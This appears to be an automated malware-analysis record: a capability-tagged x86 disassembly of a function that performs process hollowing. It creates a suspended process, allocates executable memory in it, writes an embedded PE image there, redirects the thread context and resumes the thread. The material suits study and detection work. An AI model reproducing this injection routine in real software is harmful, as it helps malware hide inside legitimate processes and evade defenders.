Function at 0x4cfea4
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffcc8
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x338], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x4d018c
push dword fs:[eax]
mov dword fs:[eax], esp
call sub.kernel32.dll_AllocConsole
call fcn.004cfd00
lea edx, [ebp - 8]
xor eax, eax
call fcn.00406dac
lea edx, [ebp - 0xc]
mov eax, 7
call fcn.004cfbe4
lea edx, [ebp - 0x338]
mov eax, dword [ebp - 0xc]
call fcn.00425de4
mov edx, dword [ebp - 0x338]
lea eax, [ebp - 0x10]
mov ecx, 0x4d01a8
call fcn.0040acf8
mov dl, 1
mov eax, dword [ebp - 0x10]
call fcn.0041f794
test al, al
jne 0x4cff2d
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
call fcn.004cfc10
xor eax, eax
push ebp
push 0x4d012d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x4d01c4
call fcn.0040a398
lea eax, [ebp - 4]
call fcn.0040a504
lea eax, [ebp - 0x68]
xor ecx, ecx
mov edx, 0x44
call fcn.004076e0
lea eax, [ebp - 0x24]
xor ecx, ecx
mov edx, 0x10
call fcn.004076e0
mov eax, dword [0x59bc88]
mov edx, 0x4d01e8
call fcn.00407d68
call fcn.00407e68
call fcn.00406ba0
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040aaa4
push eax
push 0x4d0238
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x4cffef
call sub.kernel32.dll_GetLastError_2
xor edx, edx
push edx
push eax
mov eax, dword [0x59bc88]
mov edx, 0x4d027c
call fcn.00407d68
call fcn.0040b9f4
call fcn.00407e68
call fcn.00406ba0
mov ecx, 0x4d02cc
mov dl, 1
mov eax, dword [0x4181c0]
call fcn.0042476c
call fcn.0040966c
mov dword [ebp - 0x334], 0x10001
lea eax, [ebp - 0x334]
push eax
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_GetThreadContext
test eax, eax
jne 0x4d004a
call sub.kernel32.dll_GetLastError_2
xor edx, edx
push edx
push eax
mov eax, dword [0x59bc88]
mov edx, 0x4d030c
call fcn.00407d68
call fcn.0040b9f4
call fcn.00407e68
call fcn.00406ba0
mov ecx, 0x4d0364
mov dl, 1
mov eax, dword [0x4181c0]
call fcn.0042476c
call fcn.0040966c
mov esi, 0xc2400
push 0x40
push 0x1000
push esi
push 0
mov eax, dword [ebp - 0x24]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov ebx, eax
test ebx, ebx
jne 0x4d00a5
call sub.kernel32.dll_GetLastError_2
xor edx, edx
push edx
push eax
mov eax, dword [0x59bc88]
mov edx, 0x4d03ac
call fcn.00407d68
call fcn.0040b9f4
call fcn.00407e68
call fcn.00406ba0
mov ecx, 0x4d042c
mov dl, 1
mov eax, dword [0x4181c0]
call fcn.0042476c
call fcn.0040966c
lea eax, [ebp - 0x14]
push eax
push esi
push str.MZER
push ebx
mov eax, dword [ebp - 0x24]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
jne 0x4d00fa
call sub.kernel32.dll_GetLastError_2
xor edx, edx
push edx
push eax
mov eax, dword [0x59bc88]
mov edx, 0x4d0498
call fcn.00407d68
call fcn.0040b9f4
call fcn.00407e68
call fcn.00406ba0
mov ecx, 0x4d04f4
mov dl, 1
mov eax, dword [0x4181c0]
call fcn.0042476c
call fcn.0040966c
mov dword [ebp - 0x27c], ebx
mov dword [ebp - 0x334], 0x10001
lea eax, [ebp - 0x334]
push eax
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_ResumeThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4d0166
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d0193
lea eax, [ebp - 0x338]
call fcn.00409f70
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00409fd0
ret